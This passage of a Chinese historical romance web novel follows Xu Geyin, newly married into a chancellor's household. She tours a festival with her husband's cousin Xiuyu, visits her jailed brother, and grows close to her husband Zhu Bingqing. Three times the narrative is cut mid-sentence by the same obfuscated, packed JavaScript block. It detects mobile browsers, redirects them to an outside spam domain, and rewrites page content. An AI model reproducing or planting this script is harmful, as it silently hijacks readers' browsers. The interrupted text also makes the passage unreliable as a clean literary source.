祝秉青将人按住，两只脚踝叠在一起用力压在了榻边，才拽下来一边鞋袜，她便缩着腿哼两声。 今日开炉，露白斋里也摆了个炉子，只是几个丫鬟不用心，早凉下去了。 夜里到底有些冷。 祝秉青又松开她的脚踝，扯过被子，还没等盖上，人却突然扑腾一下，猝不及防往他胸口踹了一脚。 沾着湿泥的绣花鞋倒是被她蹬下来，此刻不偏不倚落在他的膝上，鞋底朝上，同胸口那枚鞋印两相呼应。 祝秉青狠狠皱眉，转而闭了闭眼睛，理袖起身。 罢了。 11. 更漏子 二奶奶着人来露白斋请了两次，说是过去叙话。一来二去，跟她那外甥女秀郁也脸熟起来。 见的次数多了，秀郁更不似初时拘谨，很是活泼亲近起来。下元节这日刚用过了午膳，便直接去许革音院子里，惦记着早前约好的一同出游。 再早两旬前，即便是到了夜里都还有些潮热，如今过了十月竟是一下子冷下来，扑面过来的风都凌冽。 左丞府与大街至隔了两条街，两个人便各带了一个婢女，另有二房派的两个侍卫，徒步到了西华门外。 将过申时，西边残阳如血，当空却已经有一轮圆月。西华门外的大街正中设了醮坛，正有法师在上面掐诀念咒，踏罡步斗，分坛上也坐了道士诵念经文。 秀郁见她停下来看了一会，便问道：“道士们又在俢斋设醮了，平江那边也一样吗？” 从前在吴县的时候，虽也有祭祖祭神，派头却没有这样大。自己关上门祭拜炉神太上老君，再给先人烧金银包。平江多田地，傍晚的时候农民也会在田头祭拜水神，为求风调雨顺，庄稼平安过冬。 应天府却只在郊外有田庄，也不知道有没有祭拜水神的。 许革音摇摇头，道：“下元节的时候，平江的街市同平时没什么两样。” 秀郁闻言便笑，“那你今日可得好好逛一逛。” 上回在田庄那边逛的集市到底是县里的，没有这样热闹盛大。说起来这也是许革音头回逛应天府城里的街市，只觉得哪里都是人，河上的一架拱桥两边都鲜少有空处。 天冷了自然暗得快，刚刚还是红霞满天，这会儿天幕已是暗蓝，原先挂在当中稍显暗淡的月亮都皎洁起来。 往前走几步，青色城墙前的空地上摆了戏台子，前面七八排凳子，已经座无虚席。两人驻足看了会儿，秀郁便道：“讲的一个宠妾灭妻的负心郎的故事，没甚好看的。” 说罢拉着许革音的手，去一边看人喷火。 才看了一轮，又觉得没意思，买了糍粑和麻腐包子，去秦淮河上坐画船。 到了船上，秀郁没坐在舫里，反倒是去了甲板。 甲板上凉风习习，河里零零散散漂着荷花形的水灯，被船头破开的浪推开，散到两边去。 秀郁抱着膝盖看着底下暗色的涟漪，水灯的光在她脸上明明暗暗，也不知道在想些什么，很难得地安静下来。 许革音看她一会儿，忽然问道：“妹妹今年多大了？” 秀郁是二奶奶妹妹家的姑娘，那夫家有个郡伯的爵位，只是已是世袭的最后一代，下面的儿子又不大中用，眼见着是要没落了，这才想着往左丞府里送一送，攀点裙带关系，好在官场里谋个有脸面的闲职。 只是二奶奶的嫡子行二，是早娶了正房夫人的。虽只是个庶出的女儿，却是佥都御史最宠爱的姨娘房里的，恃宠而骄，很是个厉害的脾气，多多少少算是二房高攀了，因此是绝不敢再给二少爷塞妾室的。 庶子是绝对看不上的，大房有大奶奶把关，也不能肖想，只能从祝秉青这边想办法。虽说这人孤僻阴沉些，怎么也是左丞嫡亲的孙子，前途无量的青年才俊。 二奶奶这几回每回见她总想方设法地带上秀郁，许革音也不傻，这是想先从她这里下下功夫，两个人关系好了，以后见到祝秉青的机会自然更多，收进房里也不是没指望。 秀郁回头看向她，眼睛晶亮，声音都细细的：“过了年，就及笄了。” 许革音点点头，垂眼没说什么。 原先在平江的时候，许士济曾留意过几个童生，也不要太拔尖的，大多是些家世清白的当地人，往后只做个举人便也够了，这样嫁进去也能说上两句话，后院干净些。 如今再想要后院清净是异想天开了。 秀郁是个很直率活泼的性子，许革音隐约觉得这样的姑娘配祝秉青应该是很相称的，也不会与她争长短。 但私心里并不想祝秉青纳妾，至少不要这么快。 船至幽暗处再掉头回来，再过不久将要宵禁，街上人已经散了一些，刚刚在表演喷火顶桌的俳优正把收拾好的东西往板车上拉。 秀郁环顾一圈，像是仍不愿回府，道：“放个水灯再回罢。” 那边卖灯的摊子倒是没收。水灯都是一水儿的荷花形状，旁边还放着空白褔签和笔墨。 许革音略思索片刻，在签上落下两行字，秀郁探头过来，只瞧见最后落款两个小字。“是你的小名吗？” 许革音点点头，“嗯”声回应，将签子放进荷花水灯里。 等两只水灯顺着水流漂远，秀郁过来挽住她的手臂，问道：“姐姐，我们也只相差一岁——可以唤你阿煦吗？” 许革音沉默片刻，回道：“可以。” - 祝秉青从片玉斋换了身衣服再到露白斋的时候，几个丫鬟正聚在院子里嗑瓜子说闲话。 “……你是我们之中最水灵的，何时也能捞个姨娘当一当？” “得了罢，前些时日暮云姐姐那样惨，我是万万不敢的。” 阿册跟在后面，差点撞上前面停下来的祝秉青。 险险收住了脚步便依稀听到了这两句，登时探头出去，怒斥道：“大胆！主子面前如此放肆！” 祝秉青向来是最厌恶在此事上动歪心思的婢女，深觉恋酒迷花乃纨绔膏粱所为，试图以此拿捏更实在是种贬损。 几个丫鬟忙不迭跪了，祝秉青视线扫一圈，静了两息，问道：“你们主子呢？” 他的声音泛冰，分明是平平淡淡一句问话，底下已经开始发抖，谁都不敢先开口。 阿册早看她们不顺眼，上前将最近的丫鬟踹翻在地，叱道：“爷问你们话呢！” 那丫鬟忙不迭爬起来跪伏下去，哭道：“晌午的时候，表姑娘过来，一同出游了。” 祝秉青收回视线，抬脚绕开跪着的四个人，进主屋坐下。 几个丫鬟这才敢抬头，互相看了几眼，均是惊疑不定。春树被许革音领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739949|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去了，几个人拿不定主意，低低说了几句话，最后总算有一个人站起来，提着裙子往下人房里跑。 难得主子不在，卢嬷嬷悄悄去了趟大奶奶那边，后面便直接回来上床歇着了。等门被人急急拍响，再整理好衣物跑去主屋的时候，祝秉青正搓着扳指，视线落在面前的茶水上，神色不明。 卢嬷嬷连忙上前，又替他换了杯温水，赔笑道：“真是对不住三少爷，三少奶奶白日里出去了，说是戌时才回，院里便不曾备着晚食。”又转头吩咐几个丫鬟道：“还不快去准备。” 又告罪几声，见桌上空空，自己另从小厨房里端了盘桂花糕过来 。 露白斋里下人并不多，此刻四个丫鬟都躲进厨房里，天色暗下来，连灯都不曾掌。 卢嬷嬷正要点灯，却听那暗处，传来一句质问，像是从地里爬出来一样冷森，“房里没备着豆泥骨朵？” 豆泥骨朵最早是北边传来的，是红小豆豆沙做馅的点心，如今是下元节的节令糕点，到这时候不管爱不爱吃总要备着的。 卢嬷嬷立刻定在了原处，又是磕磕巴巴翻出那一套说辞：“三少奶奶说是不必备着晚食，因此便省了这一道……” 说着说着声音就淡下去了，身上已是出了一层冷汗，连呼吸都下意识屏住了，嗓眼发紧，试探道：“老奴这就去厨房里叫人去做。” - 许革音回府的时候实在有些乏累，更是早就忘了祝秉青会过来，进了里屋看见正在床头灯下看书的人还愣了两瞬。 “我不知你今日会来……”说到此处又觉得自己蠢笨，他是说过会遵循祖制的。 从寒衣节后，他没有过来，许革音也没有过去请。 寒衣节那夜虽是微醺，到底还能记住大部分的事情，连她怎么要央他“不要最喜欢别人”都像是空谷回音，在她脑子里来来回回响了一整天，令她羞愧难当。 ——说出这样的话实在有些蛮不讲理，不似正妻作态。 “站过来些。”祝秉青看着她走近，把手里的书卷合上放到床头，“吃过豆泥骨朵了吗？” 今日吃了糍粑和麻腐包子，偏偏是没吃到豆泥骨朵的。 ——再清贫的人家，家里总会自己做些，街上便也不卖了。 见她摇头，祝秉青拢衣起身，将人带到桌前。 她坐下来，眼睫下垂，整个人沉静内敛，小口咬着点心，在嘴里慢慢抿，显然是在外面吃饱了。 “院子里的下人有些乖张。” 声音突然炸响在头上，许革音以为是院子里的丫鬟们怠慢了他，毕竟连她自己都忘了他近日该过来，更加没有事先叫她们准备着。 于是她放下手里的糕点，略显局促道：“是我忘了告诉她们你会过来。” 祝秉青微微蹙眉，见点不通，也不愿意多提点两句。 沉默了一会儿，又似无意提起：“再过两旬便是冬至了，想去刑部看看他们吗？” 许革音倏然抬头。 12.遇故知 哪有谨慎了十余年的人突然肆无忌惮起来的？许泮林突然入仕这点祝秉青心里有些猜测。 许泮林确实是个不可多得的好苗子，自小读书便很厉害，在学堂里写的文章被教书先生来来回回在堂上念了好几回，往常在家里帮着料理一亩半的农田便也就罢了，后面转头却跟着个徽商跑了两年。 先是跑的长途贩运，卖些茶叶和丝绸，后面又在店肆里做掌柜，气得教书先生每每提及都扼腕叹息。 ——士农工商，做商人就算赚的钱再多，那能有读书入仕有前途吗？ 前几年的时候突然又只身回了平江，连下县试府试和院试，中了个小三元。再隔一年乡试里又拿了个解元，成了举人老爷，这势头就是奔着六元去了，实在是高调得有些不知天高地厚了。 许士济一个七品知县，断然给不了他这样的底气暗度陈仓。 倒是远在应天府的左丞府大房，隐约在网罗各处人才，连年举荐了不少官吏。 ——这是在给祝秉鹤铺路。 大奶奶的母族在朝中颇有建树，大爷又是祝邈微末时的嫡长子，自然对祝秉鹤这个孙子爱屋及乌，寄予厚望，很有再给祝氏辅佐出来一个丞相的意思。 原先祝秉青也无意为难，案子犯不到他手里自然也懒得去找麻烦。只是这般不露锋芒，大房照旧对他十分忌惮。这种情况在他科举入仕后更甚。生怕他得了圣人青眼，于是很爱找点不痛快。 祝秉青入朝便是进的比部司。比部司主要负责审计和财政管理，却也有这么一项活计，是勾覆文卷。 这原没什么要紧，只是照刷刑部的文卷，确保各类司法文书准确完整。偏就是前年，给事中核查的时候发现其中囚犯赎金相关的文卷不副其实。 早前天有异象，钦天监劝诫皇帝曰来路坎坷，即使不大赦天下，也该稍加放宽，于是除了那些十恶不赦的罪犯，余下的囚犯的赎金都稍加减免一些。这都是要重新修改宪卷的。 最后呈载册上的的确是圣人谕旨变更的政策，但比部司阁内的宪卷并不曾修改，前头官吏执行的却是老一套，这不是监守自盗么？ 祝秉青时任比部司主事，此番变故当仁不让由他解释。 待他处理完再着手探查出结果，恰好祝秉鹤兼任巡盐御史的圣旨已经下来了。 时隔已久，又没有确凿证据，祝秉青最终还是按下了。 只是洗雪逋负，十年不晚。此番许氏父子的案子报上刑部，终究是被他逮到机会。此事有些蹊跷，两边又都十分谨慎，没留下什么痕迹。 但平江四年前上任的知府，正是大爷举荐上去的，那知府也曾向上推举过许士济。最后虽不了了之，却也实在有些巧合。 此案大房应当是脱不了干系，祝秉青很有意插一手。即便大房手眼通天将自己摘干净，至少也是要在他手底下褪一层皮。 不过那许泮林是个硬骨头，软硬兼施俱是不肯开口。 此刻许革音倏然抬头，指间攥着帕子，正殷切地看着他，眼里似有碎星，犹不敢置信，声音发紧，问道：“真的吗？” “自然不会骗你。” 她于是微微低头，像是习惯性地掩一掩笑意。又迅速抬起来，“那可以给他们带些饺子和寒衣吗？” “这些刑部都会有。”祝秉青垂眼看她，“不要得寸进尺。” 连这句规诫都像有些宠溺。 许革音突然上前一步，伸手从他垂着的双臂和腰侧的夹缝中穿进去，再在他腰后合围，脸也贴在他胸口，清浅的呼吸都像是要透进层层叠叠的衣服里。“让尘，谢谢你。你真的很好。” 或许是因为从衣料里滤出来，她的声音更轻更软，每一个字都想拖沓着细小的尾音，但又十分坚定。 围在腰上的手臂并没有使力，不知道是因为还是敬畏多过夫妻之情，还是本身就是这样软弱。 祝秉青抬手落在她头发上，指腹顺着发髻的流线轻碾，淡声道：“到时候也替我向岳丈和大舅哥告个罪，实在是最近祖父突然着手肃清了大爷身边好些门生，都塞进刑部里来了，不大腾得开手。” 许革音脸闷在他胸前点点头，又听他玩笑似的说：“好生与他们说说，免得以为我不关心自家人，记恨上我。” - 刑部大狱许革音原先已经来过一次，这次领路的却是个吏长。 幽森的长廊像是看不到尽头，只间或在墙上挂了壁灯，那烛焰也虚弱得几乎下一刻就要被不知从何而起的风吹断。两侧的牢房顶上开着一排窗，贴着地面，光斜斜照进来，裹了层密密的灰。 牢房一半是空置的，另一半也大多安静，只有在仔细辨认的时候能看到地上或是砖块累成的榻上拱起一个人形，有时候那人形会从喉咙里压出叽里咕噜不能叫人听得懂的嘟囔。 上回来更焦急些，脚下生风，自然没心思注意这些，眼下却是浑身寒毛直竖。 “夫人，到了。” 许革音这才上前，又只见许士济一个人在牢房里。 两人聊了片刻，那吏长又过来，却不是赶人的。将人带离几步，低声道：“夫人，许公子现下已在审讯堂里等着了。” 许革音一听审讯堂，当即眉头皱起来，却按捺着没问。 吏长倒是个人精，自己接过了话：“这案子刚交到咱们比部司，主事便过去问问——咱们不会滥用私刑的。” 审讯堂里比之大狱已是好了很多。至少亮堂许多，空气里也不全是浮尘。 走到一处停下来，吏长上前推门，很像是废了些力气。 桌子上摆了一碗饺子，显然已经凉透了，面皮都泡得透白散开，露出中间粉粉绿绿的内馅。 “怎么不吃饺子？”已近四月未见，许革音将幕离两片薄纱撩上去，视线在他身上逡巡，木木往前迈了一步，鼻尖有些发酸，“瘦了。” 许泮林叹一声气，将人拉到椅子前坐下来，“你才是清减了，是哥哥连累。” 许革音不肯他说这样的话，正拧眉佯怒，问话又从头顶上传来：“怎的入了三房？” 许革音讷讷几息，心里也不是很确定，斟酌道：“他心悦于我，向左丞老爷求来的。” 扣在脚腕的粗重铁链贴着地面蹭过，声响沉闷。 前些时日里祝秉青特意叫人跑了一趟大狱，是特地胁迫，这婚事又哪里能是这么简单。 许泮林默然一瞬，道：“那厮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752694|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……祝秉青可曾苛待你？” 许革音只以为他仍在为左丞府临时变卦不曾告知抱不平，摇头笃定道：“他对我很好，是个很好的郎君。” 见她不似心口不一，许泮林又是轻叹一声，对上视线时，微微抿唇笑笑。 许革音见他神色未松懈分毫，有心宽慰道：“哥哥不必太过担心，上月边关有捷报，听闻圣人已经暂缓了所有刑讯惩罚，总还有五个月可以查明真相的。” 这是祝秉青稳住她的说辞，听到许泮林的耳朵里，也不过就是——他祝秉青最多只肯陪他们父子两个再耗上五个月。 但实际上不管是渌里税案，还是许泮林入仕，都并不那么好脱罪，更需要占去大半的时间。 原先还在刑部司的时候，刑部司员外郎就是想两罪并罚，定案抄斩的，甚至都已向大宪卿上表。未料祝秉青横插一手，主动揽了这烂摊子，又逢圣人宽限，这才转进比部司。 祝秉青是在逼他尽快表态陈情，否则五月缓期过去仍无进展，许氏父子难辞其咎，大宪卿很有重惩的可能。届时他若狠心休妻，连带着许革音也难逃一死。 许革音仍是无知无觉，“说来也实在胡来，不过是帮着父亲筹谋疏浚事宜，竟将哥哥也一并抓了进来。” 许泮林已是举人，为知县出谋划策并不算僭越，却又何至于牵连一同入狱。 幕离的一片薄纱垂下来，盖住她的半边脸颊，很快又被她重新挂上去。 许泮林不露声色，心里盘算几回。渌里税案本就是没有的事，虽难追溯些，但若秉公探查，自然不会祸及自身。只是原先部署的摆脱贱籍后代的手段如今却未必还能有施展的空间。 耳朵里又听到她说不成便要再敲登闻鼓，求三法司会审。“五个月很够了，你且安心在左丞府里。” 许革音抬头一眼不错地看着他，最后只是重重叹了口气，连肩膀都连带着回扣一些，很快又重新坐得端正。“你们总是瞒我，叫我如何不忧心。” 许泮林抬手，碰到她头上的幕离，于是只是将薄纱再往上掖了一掖。“如今不是有妹夫了？自然有人替你分忧。” 许革音这才想到祝秉青那几句嘱咐，“他叫我代他告罪一声，问个好，没有亲自来见大约是要避嫌的。” 到底是松下来一口气，语气轻快得多，“另外听说是府里大房的门生里混进了不好的，此番划清了界限，送了许多进刑部，有些腾不开手。” 许泮林闻言愣一愣，好半晌才笑道：“知道了，回罢。” 大约是到了午饭的时候，刑部里更安静了许多。那吏长仍在外面候着，见人出来了立马又带着出去。 路过几间屋子的时候，里面似乎有人在整理器具，沉重的锁链像是从高处落下来，铁器相击声音清脆，落到地面却闷重，连带脚下的地面都震颤。 许革音从比部司后门出来，春树正等在外面，见她出来，立刻迎上去，道：“车夫拉马去喂养了，稍后才到呢。三少奶奶先喝些水罢。” 这一上午，眼泪虽憋回去几回，但到底是叙话半天，确实口干舌燥。 正将幕离撩上去，不远处传来一道清越男声，像是带着点犹疑：“阿煦？” 13.赤绳系 祝秉青竟又一次在露白斋扑了个空。 寝房外间的桌子上还放着一叠裁好的锦布，旁边壶里的茶水却已经凉透了，显然人已经离开有段时间。 夜里风更大了一些，里屋的窗户没有关好，此刻被吹得哐啷作响。冷风穿堂过，床头的摊开的书卷早就被吹得凌乱。 几个奴仆战战兢兢上报了三少奶奶的去向，问道是否要去将人请回来的时候得了回绝，却是自己坐下来了，很有要等着的意思。 此刻这玉面修罗已在这里坐了一个时辰。 祝秉青不知道从哪里找出来本书翻看，动作庄正稳重，神色淡淡，却隐约有些压抑。底下的仆妇如履薄冰，低着头是呼吸也不敢用力，心里只盼着三少奶奶早些回来，却也谁都不敢再提要去请人的话。 好半晌，卢嬷嬷的腿已经麻过几轮，隐约觉得空气都有些稀薄的时候，外面总算有两道轻细的交谈声随着趋近越来越清晰，像是锋利的剑刃，劈开此刻紧绷的气氛。 “……这样一件小事，你竟能念叨这么许久。你不曾带着丫鬟，路上冷了怕了有个人陪着不很好吗？” 许革音无辜道：“我也才说了两回。” 秀郁连忙打断：“好了好了，再说就烦了。” 话音落下来院子也随之静默，片刻之后又有一声轻笑。 秀郁立马炸毛，扑上来闹她，“你笑什么？本身就是你不对！” 祝秉青出来的时候便看到那个不知道表了多远的表妹正搂着许革音的腰，整个上身都贴过去。而后者则像是被挠到痒处，缩着腰扭脸躲避，唇角却实打实顶出一个很可爱的弧度，显然是极为放松愉悦的。 被阴影笼住的两人齐齐抬眼上去，怔愣一瞬又立马正身，动作出奇的一致。 许革音捏着袖子，很有些意外，笑容是立马收起来了，抬头看他的时候说话的声音也很轻：“你今日怎么过来？” 祝秉青还是一贯冷淡的嗓音，反问道：“不能来？” 语气里分明没有什么训诫的意思，却一下子叫许革音立马局促起来，声音更加轻细：“我自然不是这个意思。” 院子里掌的灯到底有些暗淡，许革音没瞧清他的神色，却能看到他微微向旁边偏了偏头。 旁边站着的秀郁大约也有些怵他，讷讷站在一边，一侧的肩膀隐在许革音身后，此刻正偷偷抬眼打量，没敢直接说话。 许革音抿抿唇，眼睫垂着收回来，最终主动开口道：“这是二奶奶的外甥女，表妹秀郁，你也曾见过的。” 又转头对秀郁说了声“这是你三表哥”，秀郁这才如梦初醒，声音也跟着放轻了，只唤一声“三表哥”，便没了下文。 祝秉青不知道是仍在打量，还是原先没打算回应，好半晌才“嗯”出来一声。 他大概已经提前吩咐了留宿，此刻丫鬟提一桶热水过来，却见主子们都站在门口，挡了个严实，一时也是进退维谷。 桶里的热水随着骤然的停顿泼出来一些，浇到地上的声音的也短促，很快蔓延的响动收进夜色里。 没有人再说话，气氛实在有些怪异，秀郁又往后蹭了一步，轻声道：“今日也不早了，我便先回去了。” 说罢先向祝秉青道别，又压着声音对许革音说：“阿煦，那块料子我明日再来拿。” 那边人才刚转身往外走，祝秉青便已经回身迈步，很有些不客气。许革音回头看了眼快走到院门的秀郁，这才提着裙子疾走两步跟了进去。 对坐又是无言，丫鬟们正在盥洗室试水温，另外又拎进来两桶放在旁边。 许革音视线落在他手指上，正看着他把玩拇指上的扳指。 多数时候这扳指并不能被她看到眼睛里，而是被她感受到。那种凉滑的表面，有时候会蹭过去，也有的时候会狠狠按在腰腹上，几乎会随着呼吸的起伏裹进去。 翡翠很易沾染上人的体温，许革音不明白为什么落到自己身上的时候却总是冰凉。 ——明明总被他捏在指尖把玩。明明他的手指也总是滚烫。 在转动的扳指突然一停，声音从其上传过来：“她叫你阿煦？” 许革音像是没想到他竟也会注意到这些细枝末节，视线从扳指上匆匆收回来，回望过去，“嗯”了一声，回道：“是我的小名。” 说罢又觉得这样结束一个话题太过单薄，“名字原先是母亲取的——翩彼飞鸮，集于泮林，食我桑黮，怀我好音。” 突然引申到另外的话题上很有些卖弄的嫌疑，许革音莫名有些脸热。 只是话已经开了头，断在这处实在有些莫名其妙。见祝秉青仍没有回话的打算，许革音便接着道：“父亲说这名字虽有美意，却太过板肃，所以另外用了‘煦’字做小名。曰‘煦然如春，乃所寄望’。” 说罢她又抬头看着他，像是在等待提问者作出回应，又或许单纯是疑惑这两个字从他嘴里说出来会是怎样。 只是烛火微晃，最后祝秉青也仅仅点了点头。 许革音难免有些失望，才抿了抿嘴唇，见他起身往里走，也站起来又跟了两步，“你呢？小字是哪位长辈取的？左丞——”很快又改了口，“祖父吗？” 俗礼男子及冠才有长辈赐字，但往往官宦人家和书香世家都会早早预备着，家族越昌盛的便越讲究，多半是出生时或是十岁的时候由族里最德高望重的长辈赐下。 “是秉毅。”祝秉青站定转身，直视着她，“若非要说个来头，便是他那会儿正在读《励志诗》。读到这一句，看上了，喜欢了，见我没有，非要安给我。” 许革音万万没有想过还能有这样定下来的小字。大户人家最讲究礼法，何况是左丞府这样的世家大族，哪有小辈反过来给长辈定小字的？一时脚都像被钉在原地，哑口无言。 原先她只隐约觉得左丞老爷对祝秉青或有忽略，如今却发觉或许该是漠视才对。 祝秉青则是微微弯腰下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770814|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，靠近的时候呼吸都似有其形，纠缠在一起。 许革音看见他微微侧偏着脸松着神色看她，那双总是淡漠端谨的眼神此刻也十分懈弛，便将周身莫名的庄正弱化许多，本就盛极的容色此刻更是吸睛。 “问完了吗？还要跟着？”嘴唇随着吐字而开合，动作并不浮夸，只有细微的起伏。 许革音视线落在他嘴唇上，略有些出神，怔了一怔，两句问话才在脑子里过了一圈，意识到自己已经跟着他进了盥洗室。 烛光太盛，靠得又太近，连他一侧面中的小痣都清晰可见。若连这样的细节都能尽收眼底，到底仍有些不好意思。但也不至于退怯。 明明没有人去碰那桶仍蒸腾着热雾的浴桶，但好似隐约有水声。 许革音突然伸手搭上了他的肩颈，呼吸变得很紧，于是声音都像是蒙上雾气，潮湿却有战栗：“让尘，只要是你，就很好了。” 她还停留在上个话题里，刻意忽视了略带警告的调侃。 又或者说，她并不认为即将踏入的是险地。 攀附上来的手臂轻轻合围，祝秉青只能顺着又弯了些腰。 “爱重你的人连下意识的行为都爱你。”像是在宽慰他。 又很突兀补了一句：“不止秉毅爱重你。” 她的声音渐渐低下去，最后的尾音已经近乎无声，带着颤抖的小钩子。 耳朵也是红透了，烛光一照，透出里面细细的血丝。 祝秉青有时会被她不合时宜的直白弄得措手不及。 就像此刻，明明知道她此番陈述皆因错付的感激，喉结却仍然滚了一滚。 她轻轻贴上来，唇瓣相接的时候手指都在他脖子后面抖了两下。 很生涩地亲吻，只知道用干燥的嘴唇磨他，像羽毛一样轻轻拂过，又似棉花一样柔柔压下来。 祝秉青随她碾转，正被磨得有些不耐烦的时候她又突然退开，险些叫他没忍住伸手把人按住。 她唇瓣磨得嫣红，抖了两下，话音从近乎相贴的缝隙里传上来：“今天我很开心。” “你对我这样好，一开始我想都不敢想的。” 这些表白祝秉青实在受之有愧，他连今夜的造访都目的不纯。 但他仍心安理得认下了，骤然伸手贴到她后腰，随着将人压过来的动作自己慢慢直身，眼神睨下去看着她因为陈情而颤抖的睫毛——此刻是连看他也不再好意思了。 倏然又弯身下去，将人抱着膝弯托举起来。 抬眼看人的时候眼皮撑开，隐约有些漫不经心的懒散，“一起洗罢，快些。” 许革音嗓眼里的惊呼压得她说不出话，耳朵尖的红晕隐约要蔓延到脸上，手指紧紧捏住他的肩膀，失血的指尖陷进衣服的褶皱里。 浴桶上的热气大概已经渗进她的脑子里，身体都像云团成的一般，轻飘飘的。 只是这时候心里还知道反驳——哪里会更快？明明恰恰相反。 14.共白首 祝秉青近日造访露白斋的次数较之以往又多了一些。 朝中官员五日可休沐一次，正好赶上腊八节，前夜便留下了。 许革音夜里特地吩咐了腊八粥要提早炖起来，结果两个人却迟迟没有起。 祝秉青到底不是铁打的，昨夜夤夜入眠，睁眼的时候已经天光大亮了。 伸出手将床幔拨开一些，窗前地上投映下来一个斜斜的光斑，被窗户上的框架截成小块。 他眯了眯眼，只是稍微动了动，腰上横揽过来一只手臂，肉贴着肉，柔滑温润。 祝秉青便看下去，她也只是往他怀里更贴紧一些就不动了。 屋里烧了一夜的碳，略有些热，她却是个很贪暖的，此刻脸颊都有些泛红，却还是抱着人不肯松手。 呼吸倒是清浅，几乎听不到吸气，呼出来的时候才有轻微的响动。看不到鼻翼的翕动，只有睫毛偶尔颤两下，搭在侧颊的头发有轻微的晃幅。 被她枕了一夜的左臂早就麻木，刚刚只是微微动弹一下，那些蛰伏已久的麻痛密密麻麻啃噬上来。 左边的指尖因为失血而泛凉，祝秉青只是屈伸两下手指，接着面色平静抬起另一只手给她拨开了脸上的发丝。 许革音睡得不深，发丝挠过侧脸有些痒。 她连手指都懒得动弹，把脸偏过去，埋得更深。 呼吸出来的水汽全喷在他的胸口，凝出一片潮湿。 祝秉青等了片刻，见她又没了动静，问道：“醒了？” 底下好半晌才“嗯”出来一声，手臂更加圈紧他的腰。 祝秉青愣了愣，原先摊在下面麻木的左臂此刻还有细微的刺感，抬上来握住她的肩膀，连带着散落的头发，一起收进掌心摩挲。 好半晌，她的嘴唇像是贴着他的皮肤擦过，“起来喝腊八粥吗？” 祝秉青应了一声，将胳膊抽出来，压紧了被子直接下了床。 连里衣也没穿，他倒是不怕冷。 许革音将下半张脸埋进被子里，还能闻到淡淡的艾草味，大概是熏制衣服时留下来的，久而久之将他整个人都浸透了。 被子被掀开一角，塞进来一叠衣服，“穿好了再下来。” 前些日子里有一夜刚点了炭，屋子还没烧热，祝秉青便将她的衣服剥下来了，隔天人就起了低热，很是金贵。 许革音有心想再强调一遍只是应天府的冬天太冷，她还不大适应，祝秉青已经披了衣服径自掀开隔帘走出去。 于是许革音只是撇了撇嘴，将被子扯过头，摸索着自己穿上里衣。再出去的时候祝秉青已经坐在桌边等着。 桌子上也仅仅摆了五个碗碟和一个砂锅，两碗腊八粥显然是刚盛出来放凉，上面放了各式果仁和红白糖，还撒了秋日刚摘下来的桂花，此刻正袅袅冒着热气，看着很是漂亮。 祝秉青这些时日来得虽也不勤，至少还是翻了一番，打从冬至那日，许革音就已经不太怵他了，只觉得郎君虽看着冷冰冰，到底是很热心体贴的。于是很亲昵地坐到他手边。 祝秉青看她一眼，人正低着头给他夹了一块蜜渍荸荠，放下来之后也不抬头，换了调羹搅弄自己碗里的粥。 下面仍还滚烫的粥翻上来，散出更浓重的热气，将她的眉眼都笼罩得朦胧。 她把调羹送到嘴边沾了沾唇，祝秉青有些想阻止，她已经自己皱着眉将调羹放下了。只是唇心却明显更嫣红，有些烫到了。 粥有些烫，许革音吃得很慢，中途眉头又拧起来，舌头在里面碾了碾，过了一会儿吐出来一个红枣核。 她又转头去看祝秉青，他那一碗已经见了底，神色如常。似乎察觉到她的视线，也看过来。 许革音捏着调羹搅了一圈，问道：“今日还忙吗？” 已近年关，一年当中的事情都在慢慢收尾，早就过了最忙的时候。 祝秉青将碗筷搁置下来，指尖在桌面上敲了一下，道：“不忙。” 许革音唇角抿开一个笑，发出邀请：“那要不要一起去置办年货？其他房里早早的就买了，我却不知道往年三房里都是买些什么。” 她嫁进来还不足三月，只知道大体过节不尽相同，当地的习俗却是一概不知的。 只是到底不确定他愿不愿意，又迅速给他递了另外一个台阶：“你若是忙别的事，也没关系的，我找大奶奶那边问问便好了。” 祝秉青闻言稍顿，三房里已经很久没有置办年货。从前三奶奶身子不大好，早几年还会叫身边的婢女去采买，后来也没有精力顾及这些。而他自己更是忙着谋取别的出路。 况三房也就这几个人，关上门来饭都难坐到一张桌子上吃，又有什么采买年货的必要？ “一起罢。”祝秉青转了两下扳指，淡淡丢出来三个字。 许革音闻言眨了两下眼睛，很有些高兴，调羹都放下了，像是要起身准备。 下一瞬又被人按在凳子上，“不要浪费粮食。” 她碗里才浅了薄薄一层。 - 置办年货其实也都大差不差，买点坚果饴糖，春联纸门神贴，再裁一些布回去做新衣。若是图省事些，就买两身成衣回去改一改。 鞭炮烟花还有灯笼倒是不用的，府里会一起备着。 